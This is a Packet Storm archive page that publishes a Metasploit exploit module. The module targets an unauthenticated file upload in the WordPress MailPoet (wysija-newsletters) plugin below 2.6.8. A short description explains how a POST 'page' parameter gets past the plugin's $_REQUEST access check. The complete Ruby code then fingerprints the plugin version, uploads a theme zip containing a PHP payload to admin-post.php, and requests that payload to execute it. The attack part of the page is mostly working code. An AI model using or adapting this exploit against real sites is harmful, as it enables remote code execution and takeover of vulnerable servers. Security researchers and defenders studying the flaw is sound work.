what you don't know can hurt you

Wordpress MailPoet (wysija-newsletters) Unauthenticated File Upload

Wordpress MailPoet (wysija-newsletters) Unauthenticated File Upload
Posted Jul 6, 2014
Authored by Christian Mehlmauer, Marc-Alexandre Montpas | Site metasploit.com

The Wordpress plugin "MailPoet Newsletters" (wysija-newsletters) before 2.6.8 is vulnerable to an unauthenticated file upload. The exploit uses the Upload Theme functionality to upload a zip file containing the payload. The plugin used the admin_init hook, which is also executed for unauthenticated users when accessing a specific URL. The developers tried to fix the vulnerability in version 2.6.7 but the fix can be bypassed. In PHPs default configuration, a POST variable overwrites a GET variable in the $_REQUEST array. The plugin uses $_REQUEST to check for access rights. By setting the POST parameter to something not beginning with 'wysija_', the check is bypassed. Wordpress uses the $_GET array to determine the page and is so not affected by this.

tags | exploit, php, file upload
MD5 | 5a94d442918dc117913482943b497d02

Wordpress MailPoet (wysija-newsletters) Unauthenticated File Upload

Change Mirror Download
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::HTTP::Wordpress
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Wordpress MailPoet (wysija-newsletters) Unauthenticated File Upload',
'Description' => %q{
The Wordpress plugin "MailPoet Newsletters" (wysija-newsletters) before 2.6.8
is vulnerable to an unauthenticated file upload. The exploit uses the Upload Theme
functionality to upload a zip file containing the payload. The plugin used the
admin_init hook, which is also executed for unauthenticated users when accessing
a specific URL. The developers tried to fix the vulnerablility
in version 2.6.7 but the fix can be bypassed. In PHPs default configuration,
a POST variable overwrites a GET variable in the $_REQUEST array. The plugin
uses $_REQUEST to check for access rights. By setting the POST parameter to
something not beginning with 'wysija_', the check is bypassed. Wordpress uses
the $_GET array to determine the page and is so not affected by this.
},
'Author' =>
[
'Marc-Alexandre Montpas', # initial discovery
'Christian Mehlmauer' # metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html' ],
[ 'URL', 'http://www.mailpoet.com/security-update-part-2/'],
[ 'URL', 'https://plugins.trac.wordpress.org/changeset/943427/wysija-newsletters/trunk/helpers/back.php']
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [ ['wysija-newsletters < 2.6.8', {}] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 1 2014'))
end

def create_zip_file(theme_name, payload_name)
# the zip file must match the following:
# -) Exactly one folder representing the theme name
# -) A style.css in the theme folder
# -) Additional files in the folder

content = {
::File.join(theme_name, 'style.css') => '',
::File.join(theme_name, payload_name) => payload.encoded
}

zip_file = Rex::Zip::Archive.new
content.each_pair do |name, content|
zip_file.add_file(name, content)
end

zip_file.pack
end

def check
readme_url = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wysija-newsletters', 'readme.txt')
res = send_request_cgi({
'uri' => readme_url,
'method' => 'GET'
})
# no readme.txt present
if res.nil? || res.code != 200
return Msf::Exploit::CheckCode::Unknown
end

# try to extract version from readme
# Example line:
# Stable tag: 2.6.6
version = res.body.to_s[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1]

# readme present, but no version number
if version.nil?
return Msf::Exploit::CheckCode::Detected
end

print_status("#{peer} - Found version #{version} of the plugin")

if Gem::Version.new(version) < Gem::Version.new('2.6.8')
return Msf::Exploit::CheckCode::Appears
else
return Msf::Exploit::CheckCode::Safe
end
end

def exploit
theme_name = rand_text_alpha(10)
payload_name = "#{rand_text_alpha(10)}.php"

zip_content = create_zip_file(theme_name, payload_name)

uri = normalize_uri(target_uri.path, 'wp-admin', 'admin-post.php')

data = Rex::MIME::Message.new
data.add_part(zip_content, 'application/x-zip-compressed', 'binary', "form-data; name=\"my-theme\"; filename=\"#{rand_text_alpha(5)}.zip\"")
data.add_part('on', nil, nil, 'form-data; name="overwriteexistingtheme"')
data.add_part('themeupload', nil, nil, 'form-data; name="action"')
data.add_part('Upload', nil, nil, 'form-data; name="submitter"')
data.add_part(rand_text_alpha(10), nil, nil, 'form-data; name="page"')
post_data = data.to_s

payload_uri = normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wysija', 'themes', theme_name, payload_name)

print_status("#{peer} - Uploading payload to #{payload_uri}")
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'vars_get' => { 'page' => 'wysija_campaigns', 'action' => 'themes' },
'data' => post_data
})

if res.nil? || res.code != 302 || res.headers['Location'] != 'admin.php?page=wysija_campaigns&action=themes&reload=1&redirect=1'
fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
end

# Files to cleanup (session is dropped in the created folder):
# style.css
# the payload
# the theme folder (manual cleanup)
register_files_for_cleanup('style.css', payload_name)

print_warning("#{peer} - The theme folder #{theme_name} can not be removed. Please delete it manually.")

print_status("#{peer} - Executing payload #{payload_uri}")
res = send_request_cgi({
'uri' => payload_uri,
'method' => 'GET'
})
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

March 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    15 Files
  • 2
    Mar 2nd
    5 Files
  • 3
    Mar 3rd
    3 Files
  • 4
    Mar 4th
    25 Files
  • 5
    Mar 5th
    20 Files
  • 6
    Mar 6th
    16 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    12 Files
  • 9
    Mar 9th
    3 Files
  • 10
    Mar 10th
    4 Files
  • 11
    Mar 11th
    23 Files
  • 12
    Mar 12th
    12 Files
  • 13
    Mar 13th
    12 Files
  • 14
    Mar 14th
    19 Files
  • 15
    Mar 15th
    12 Files
  • 16
    Mar 16th
    3 Files
  • 17
    Mar 17th
    1 Files
  • 18
    Mar 18th
    15 Files
  • 19
    Mar 19th
    22 Files
  • 20
    Mar 20th
    14 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    15 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close